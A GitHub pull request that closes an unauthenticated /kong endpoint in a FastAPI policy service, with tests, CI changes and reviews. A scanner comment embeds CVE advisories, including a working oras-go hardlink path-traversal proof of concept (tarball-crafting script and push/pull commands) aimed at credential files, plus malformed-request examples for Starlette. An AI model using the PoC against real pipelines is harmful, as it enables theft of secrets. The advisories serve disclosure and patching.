Skip to content

fix: gate /kong, split /health public, enforce PDP token at router level (PER-15244) - #317

Merged
dshoen619 merged 5 commits into
mainfrom
david/per-15244-pdp-gate-kong-split-health-to-a-public-router-move-enforcer
Jul 8, 2026
Merged

fix: gate /kong, split /health public, enforce PDP token at router level (PER-15244)#317
dshoen619 merged 5 commits into
mainfrom
david/per-15244-pdp-gate-kong-split-health-to-a-public-router-move-enforcer

Conversation

@dshoen619

Copy link
Copy Markdown
Contributor

Closes PER-15244

What

Closes the unauthenticated POST /kong decision endpoint and kills the per-route auth footgun class on the enforcer router:

  1. /health split to a public router (done first, deliberately): moved out of enforcer_router into a dedicated init_enforcer_health_router(), mounted without auth. k8s/LB liveness probes (Helm chart probes GET /health with no headers) are unaffected by the next step. Body unchanged.
  2. Router-level auth on the enforcer router: include_router(enforcer_router, dependencies=[Depends(enforce_pdp_token)]) — matching every sibling router (local/proxy/facts/connectivity). This gates /kong: FastAPI runs dependencies before the handler, so auth now precedes the KONG_INTEGRATION 503 check.
  3. Per-route enforce_pdp_token copies removed (8 routes). The Depends(notify_seen_sdk) deps are kept where present; router-level deps run first, so effective order is preserved.
  4. enforce_pdp_token header param defaults to None: previously a missing Authorization header was rejected by FastAPI param validation as 422 and the function's is None -> 401 branch was dead code. Now a missing header returns 401, per the issue's acceptance spec. Invalid-token 401 behavior unchanged. (Malformed-header 500 is intentionally untouched — that is PER-15245/PER-15250 scope.)

Behavior changes

Request Before After
POST /kong, no/any-invalid token 503 (or a live decision with KONG_INTEGRATION=true) 401
Gated route, missing Authorization header 422 401
Gated route, invalid token 401 401 (unchanged)
GET /health, no token 200 200 (unchanged, still public)

Tests

  • Parametrized sweep: all 9 enforcer routes × {missing token → 401, invalid token → 401}.
  • /health tokenless → 200.
  • /kong: valid token + integration disabled → 503; full enabled flow (routes table + mocked OPA) → tokenless 401, valid token 200 {"result": true}.
  • Valid-token 200 flows added for /authorized_users and /nginx_allowed (previously uncovered).
  • Full horizon/tests/ suite: 72 passed; ruff check + format clean at the pre-commit-pinned v0.11.6.
  • Route-table audit (walking route.dependant.dependencies on the live app): every APIRoute carries the PDP-token/control-key dep except the intended public set (/health, OPAL's /, /healthcheck, /healthy, /ready) and OPAL routes with their own listener-JWT auth. The OPAL trigger routes stay open by design here — they are PER-15245/PER-15247 scope.

⚠ Pre-merge check for reviewers

Confirm the Kong OPA plugin forwards Authorization: Bearer <PDP_API_KEY> (precedent: the gated /nginx_allowed works with its nginx caller). If Kong cannot send it, /kong needs a dedicated credential — flag to the integrations owner.

🤖 Generated with Claude Code

…vel (PER-15244)

- Mount the enforcer router with router-level enforce_pdp_token and drop the
  per-route copies (notify_seen_sdk deps kept), closing the previously
  unauthenticated POST /kong decision endpoint.
- Move GET /health to a dedicated public router so k8s/LB liveness probes
  keep working without the PDP token.
- Default the Authorization header to None in enforce_pdp_token so a missing
  header returns 401 instead of 422.
- Add auth regression tests for all enforcer routes, /health, and the Kong
  integration flow.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@linear-code

linear-code Bot commented Jul 5, 2026

Copy link
Copy Markdown

PER-15244

@dshoen619 dshoen619 self-assigned this Jul 5, 2026
@github-actions

github-actions Bot commented Jul 5, 2026

Copy link
Copy Markdown

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next
digestsha256:5d1ce118ab160fec0b2194427815bb0beebca75187c72e97a7dce79906b99823
vulnerabilitiescritical: 0 high: 3 medium: 6 low: 1
platformlinux/amd64
size218 MB
packages247
📦 Base Image python:3.10-alpine3.22
also known as
  • 3.10.20-alpine3.22
digestsha256:c8f94b3bb77e6ea9015ccd091b7f8aec1b1fcbca95159675235d9a93788797cd
vulnerabilitiescritical: 1 high: 13 medium: 11 low: 4
critical: 0 high: 2 medium: 2 low: 1 starlette 0.50.0 (pypi)

pkg:pypi/starlette@0.50.0

high 7.5: CVE--2026--54283 Allocation of Resources Without Limits or Throttling

Affected range>=0.4.1
<1.3.1
Fixed version1.3.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.275%
EPSS Percentile19th percentile
Description

Summary

request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply.

Details

request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the max_files, max_fields, and max_part_size limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no max_fields or max_part_size parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies.

Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects:

  • Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request.
  • Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body.

The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size.

Impact

This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop.

Mitigation

Upgrade to a patched version, which forwards max_fields and max_part_size to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (max_fields=1000, max_part_size=1MB) and can be customized via request.form(max_fields=..., max_part_size=...).

high 7.5: CVE--2026--48818 Server-Side Request Forgery (SSRF)

Affected range<1.1.0
Fixed version1.1.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.368%
EPSS Percentile29th percentile
Description

Summary

When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.

Details

StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.

This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O.

Impact

Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.

Mitigation

Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.

medium 6.5: CVE--2026--48710 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<=1.0.0
Fixed version1.0.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score1.438%
EPSS Percentile70th percentile
Description

Summary

In affected versions, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed.

Details

When a client requests http://example.com/foo, it sends:

GET /foo HTTP/1.1
Host: example.com

Affected versions reconstructed the URL by concatenating http://{host}{path} and re-parsing the result. The Host value is only valid as a uri-host [ ":" port ] per RFC 9112 §3.2, where uri-host follows the restricted host grammar of RFC 3986 §3.2.2. When it contains characters outside that grammar - notably /, ?, or # - those characters move the path/query/fragment boundaries during re-parsing, so the parsed request.url.path no longer matches the path the server actually received. For example:

GET /foo HTTP/1.1
Host: example.com/abc?bar=

reconstructs to http://example.com/abc?bar=/foo, whose parsed path is /abc - even though routing used the real path /foo. The router still dispatches to /foo and the endpoint executes, but any middleware or code that reads request.url.path sees /abc, so path-based authorization checks can be bypassed.

Impact

Any application running an affected version that relies on request.url (or request.url.path) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.

Mitigation

Upgrade to a patched version, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"] for malformed values.

medium 5.3: CVE--2026--48817 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Affected range<1.1.0
Fixed version1.1.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.213%
EPSS Percentile12th percentile
Description

Summary

When dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs.

When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.

Details

HTTPEndpoint uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as _DO_DELETE therefore resolves an attribute like _do_delete and invokes it. Non-standard methods are valid RFC 9110 token methods, so an endpoint must not treat the method name as a trusted attribute selector.

Impact

An application is affected when all of the following hold:

  • It defines an HTTPEndpoint subclass and registers it via Route(...) without an explicit methods= argument.
  • The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single request argument and return a response.

This also affects frameworks built on Starlette, like FastAPI.

Mitigation

Register HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with 405 Method Not Allowed before it reaches the endpoint, so non-standard methods cannot resolve an attribute.

low 3.7: CVE--2026--54282 Improper Input Validation

Affected range<1.3.0
Fixed version1.3.0
CVSS Score3.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.187%
EPSS Percentile8th percentile
Description

Summary

In affected versions, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @<!-- -->google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host.

Details

When a client requests a path that does not start with /:

GET @<!-- -->google.com HTTP/1.1
Host: localhost

affected versions reconstruct the URL as http://localhost@<!-- -->google.com. Per RFC 3986 §3.2.1, the substring before @ in the authority is userinfo, so re-parsing yields username = "localhost" and hostname = "google.com", with an empty path:

request.url          == "http://localhost@<!-- -->google.com"
request.url.hostname == "google.com"
request.url.path     == ""

The root cause is that the path is concatenated directly after the host without a separating /, and without validating that it begins with one. Only the Host header was validated when constructing request.url; the path was not.

This requires an ASGI server that forwards a request-target lacking a leading / into scope["path"].

Impact

Any application running an affected version that uses request.url, request.url.netloc, or request.url.hostname for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first.

Note that this is less exploitable than GHSA-86qp-5c8j-p5mr: there, the poison is carried in the Host header, so the real path still routes to a valid endpoint while request.url.path lies. Here, the poison must be carried in the path itself, and that path (@<!-- -->google.com) does not match any registered route, so routing returns 404 and no endpoint handler runs. The exposure is limited to code that reads request.url before routing - notably middleware - or in 404/exception handlers.

Mitigation

Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields http://localhost/@<!-- -->google.com with request.url.hostname == "localhost".

critical: 0 high: 1 medium: 0 low: 0 oras.land/oras-go/v2 2.6.1 (golang)

pkg:golang/oras.land/oras-go/v2@2.6.1

high 7.1: CVE--2026--50163 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<=2.6.1
Fixed versionNot Fixed
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Description

Root cause

The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION
    }
    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", err
    }
    return target, nil   // <-- returns the ORIGINAL target, not the validated path
}

The caller for TypeLink hardlinks then does:

case tar.TypeLink:
    var target string
    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(target, filePath)
    }

os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:

oldpath and newpath are interpreted relative to the current working directory of the calling process.

So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.

Attack

An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:

  • A regular file: payload.tar.gz/README.txt.
  • A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).

and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).

When a victim runs oras pull (or any Go code using content.File), the extraction:

  1. Validates payload.tar.gz/evil_cwd_link — passes.
  2. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
    • path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.
    • Returns target = "victim.secret" (NOT path).
  3. Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
  4. link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.

The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.


Proof of Concept

Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).

Reproduction script (standalone, ~50 lines) attached. Summary of key steps:

# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret

# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'

# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ... patch layout/blobs/sha256/<manifest> to add
#     io.deis.oras.content.unpack: "true" on layers[0].annotations ...

(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)

# 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link   # → 6554160
stat -c '%i' cwd-space/victim.secret                # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link             # → "TOP SECRET FROM CWD"

Observed output:

evil_cwd_link (inside extract dir): inode=6554160
victim.secret  (in invoker CWD):    inode=6554160
*** ESCAPE CONFIRMED ***
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD

A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API.


Impact

Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.

Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.

High-severity chains:

  • CI pipelines where oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.
  • Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.
  • Kubernetes operators / Flux source-controller using oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive.
  • Multi-tenant registry proxies that use oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.

Not affected:

  • oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server.
  • Symlink extraction path (TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path).

Attack-surface boundary (fs.protected_hardlinks)

On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted.

So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context:

Invocation context Reachable file classes
oras pull run by a regular user Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files.
oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys.

The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.


Proposed fix

Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path.

// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved
// path to avoid CWD-resolution mismatch at os.Link time.
func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)
    }
    if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", "", err
    }
    return target, path, nil
}
case tar.TypeLink:
    var absTarget string
    if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(absTarget, filePath)
    }
case tar.TypeSymlink:
    var symTarget string
    symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)
    if err != nil { return err }
    if err = os.Symlink(symTarget, filePath); err != nil { ... }

Regression test to add:

Extend Test_extractTarDirectory_HardLink with a third sub-test that:

  1. Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt.
  2. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative).
  3. Extracts.
  4. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.
critical: 0 high: 0 medium: 1 low: 0 busybox 1.37.0-r20 (apk)

pkg:apk/alpine/busybox@1.37.0-r20?os_name=alpine&os_version=3.22

medium : CVE--2025--60876

Affected range<=1.37.0-r20
Fixed versionNot Fixed
EPSS Score0.258%
EPSS Percentile17th percentile
Description
critical: 0 high: 0 medium: 1 low: 0 sqlparse 0.5.0 (pypi)

pkg:pypi/sqlparse@0.5.0

medium 6.9: GHSA--27jp--wm6q--gp25 Allocation of Resources Without Limits or Throttling

Affected range<=0.5.3
Fixed version0.5.4
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Description

Summary

The below gist hangs while attempting to format a long list of tuples.

This was found while drafting a regression test for Dja
ngo 5.2's composite primary key feature
, which allows querying composite fields with tuples.

critical: 0 high: 0 medium: 1 low: 0 util-linux 2.41-r9 (apk)

pkg:apk/alpine/util-linux@2.41-r9?os_name=alpine&os_version=3.22

medium : CVE--2026--27456

Affected range<=2.41-r9
Fixed versionNot Fixed
EPSS Score0.118%
EPSS Percentile2nd percentile
Description
critical: 0 high: 0 medium: 1 low: 0 go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp 1.42.0 (golang)

pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp@1.42.0

medium 5.3: CVE--2026--39882 Memory Allocation with Excessive Size Value

Affected range<1.43.0
Fixed version1.43.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile9th percentile
Description

overview:
this report shows that the otlp HTTP exporters (traces/metrics/logs) read the full HTTP response body into an in-memory bytes.Buffer without a size cap.

this is exploitable for memory exhaustion when the configured collector endpoint is attacker-controlled (or a network attacker can mitm the exporter connection).

severity

HIGH

not claiming: this is a remote dos against every default deployment.
claiming: if the exporter sends traces to an untrusted collector endpoint (or over a network segment where mitm is realistic), that endpoint can crash the process via a large response body.

callsite (pinned):

  • exporters/otlp/otlptrace/otlptracehttp/client.go:199
  • exporters/otlp/otlptrace/otlptracehttp/client.go:230
  • exporters/otlp/otlpmetric/otlpmetrichttp/client.go:170
  • exporters/otlp/otlpmetric/otlpmetrichttp/client.go:201
  • exporters/otlp/otlplog/otlploghttp/client.go:190
  • exporters/otlp/otlplog/otlploghttp/client.go:221

permalinks (pinned):

root cause:
each exporter client reads resp.Body using io.Copy(&respData, resp.Body) into a bytes.Buffer on both success and error paths, with no upper bound.

impact:
a malicious collector can force large transient heap allocations during export (peak memory scales with attacker-chosen response size) and can potentially crash the instrumented process (oom).

affected component:

  • go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp
  • go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp
  • go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp

repro (local-only):

unzip poc.zip -d poc
cd poc
make canonical resp_bytes=33554432 chunk_delay_ms=0

expected output contains:

[CALLSITE_HIT]: otlptracehttp.UploadTraces::io.Copy(resp.Body)
[PROOF_MARKER]: resp_bytes=33554432 peak_alloc_bytes=118050512

control (same env, patched target):

unzip poc.zip -d poc
cd poc
make control resp_bytes=33554432 chunk_delay_ms=0

expected control output contains:

[CALLSITE_HIT]: otlptracehttp.UploadTraces::io.Copy(resp.Body)
[NC_MARKER]: resp_bytes=33554432 peak_alloc_bytes=512232

attachments: poc.zip (attached)

PR_DESCRIPTION.md

attack_scenario.md

poc.zip

Fixed in: open-telemetry/opentelemetry-go#8108

@github-actions

github-actions Bot commented Jul 5, 2026

Copy link
Copy Markdown

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next
digestsha256:5d1ce118ab160fec0b2194427815bb0beebca75187c72e97a7dce79906b99823
vulnerabilitiescritical: 0 high: 0 medium: 0 low: 0
platformlinux/amd64
size218 MB
packages247
📦 Base Image python:3.10-alpine3.22
also known as
  • 3.10.20-alpine3.22
digestsha256:c8f94b3bb77e6ea9015ccd091b7f8aec1b1fcbca95159675235d9a93788797cd
vulnerabilitiescritical: 1 high: 13 medium: 11 low: 4

- Pin aiohttp<3.14 in the dev requirements: aioresponses 0.7.x cannot mock
  aiohttp>=3.14 (ClientResponse gained a required stream_writer argument),
  which broke every OPA-mocking test. Runtime pin is unchanged.
- Pin k3d to v5.9.0 in the pdp-tester job: the k3d-action default (v5.4.6)
  predates release checksums.txt assets, which the k3d install script now
  requires, so cluster setup 404'd before any test ran.

Both breakages pre-date this branch (main last ran CI green on 2026-05-13).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR closes an auth gap by enforcing PDP token authentication at the router level for enforcer endpoints (including /kong), while keeping /health publicly accessible for k8s/LB probes.

Changes:

  • Split /health into a dedicated public router and mount it without auth.
  • Apply enforce_pdp_token as a router-level dependency for the enforcer router and remove per-route copies.
  • Add/expand tests to validate 401 behavior for missing/invalid tokens across enforcer endpoints and cover /kong flows; pin aiohttp<3.14 for test mocking compatibility and bump k3d version in CI.

Reviewed changes

Copilot reviewed 6 out of 6 changed files in this pull request and generated no comments.

Show a summary per file
File Description
requirements-dev.txt Pin aiohttp<3.14 in dev/test env to keep aioresponses compatible.
horizon/tests/test_enforcer_api.py Add auth-sweep tests for protected routes; add /health public test and /kong auth + integration tests.
horizon/pdp.py Mount new health router publicly; enforce PDP token at enforcer router include level.
horizon/enforcer/api.py Split out init_enforcer_health_router() and remove per-route PDP-token dependencies from enforcer routes.
horizon/authentication.py Make Authorization header optional so missing token yields 401 instead of 422.
.github/workflows/tests.yml Pin k3d version to avoid upstream install/download issues in CI.
Comments suppressed due to low confidence (1)

horizon/authentication.py:15

  • authorization.split(" ") will raise ValueError for malformed Authorization headers (e.g. "Bearer", extra spaces, or no space), which will surface as a 500 instead of a 401. Since enforce_pdp_token is now applied router-wide, harden parsing to always return a controlled 401 on malformed headers.
def enforce_pdp_token(authorization: Annotated[str | None, Header()] = None):
    if authorization is None:
        raise HTTPException(status.HTTP_401_UNAUTHORIZED, detail="Missing Authorization header")
    schema, token = authorization.split(" ")

    if schema.strip().lower() != "bearer" or token.strip() != get_env_api_key():
        raise HTTPException(status.HTTP_401_UNAUTHORIZED, detail="Invalid PDP token")

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

The k8s/k3d-based pdp-tester job timed out at 600s with no logs and no PDP
pods created — the tester's k3d/Helm orchestration never started. The
pdp-tester repo added a Docker runtime backend (k8s-free) for exactly this;
mirror its own CI's `pdp-tester-docker` job.

Install the tester with the [docker] extra and run it as a plain process
against the runner's Docker daemon. LOCAL_IMAGE + LOCAL_TAGS make the runtime
launch the PR-built permitio/pdp-v2:next directly (no registry pull —
aiodocker only pulls on image-not-found, and we docker-load it first).

Drops k3d, Helm, the tester image build, and the earlier k3d-version pin
those steps needed. The tester attaches the PDP token on every call and
probes /healthy for readiness, so this exercises the router-level auth
change end-to-end (incl. the health_check case asserting /health -> 200).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@zeevmoney zeevmoney left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review — PER-15244 (gate /kong, split /health public, router-level auth) [URGENT security]

What this PR does: Closes an unauthenticated-endpoint hole. In horizon/enforcer/api.py the enforcer routes no longer carry per-route Depends(enforce_pdp_token); instead horizon/pdp.py includes the whole enforcer router with a router-level dependencies=[Depends(enforce_pdp_token)], so every enforcer route — including /kong, which at base was mounted with NO auth dependency and was therefore publicly callable — now requires the PDP token. /health is moved to a new dependency-free init_enforcer_health_router() mounted without auth, so liveness probes (which cannot attach the token) keep working. enforce_pdp_token gains an = None default so a missing header yields the function's 401 rather than a 422. Adds thorough tests. The PR also bundles the pdp-tester CI migration and a pytests fix (finding 1).

Verdict: APPROVE. No Postable finding is HIGH or CRITICAL (severity rule: only MEDIUM/LOW postable -> approve). The security change verifies out and is provably complete:

  • /kong was unauthenticated at base (git show 15689c7:horizon/enforcer/api.py — the @router.post("/kong") decorator had no dependencies); it is now gated by the router-level dep. Confirmed vuln + fix.
  • All 9 enforcer routes (/authorized_users, /allowed_url, /user-permissions, /user-tenants, /allowed/all-tenants, /allowed/bulk, /allowed, /nginx_allowed, /kong) sit on the single gated router — init_enforcer_api_router is called exactly once (pdp.py) and included once with the dep. The new test_enforcer_endpoint_missing_token_returns_401 is parametrized over exactly those 9 and asserts 401; pytests is green, so gating is proven for every route.
  • /health is the only route on the public router; test_health_endpoint_is_public asserts 200 without a token. The other app routers (local, proxy, facts x2, connectivity, system) already carried their own auth at base and are unchanged.
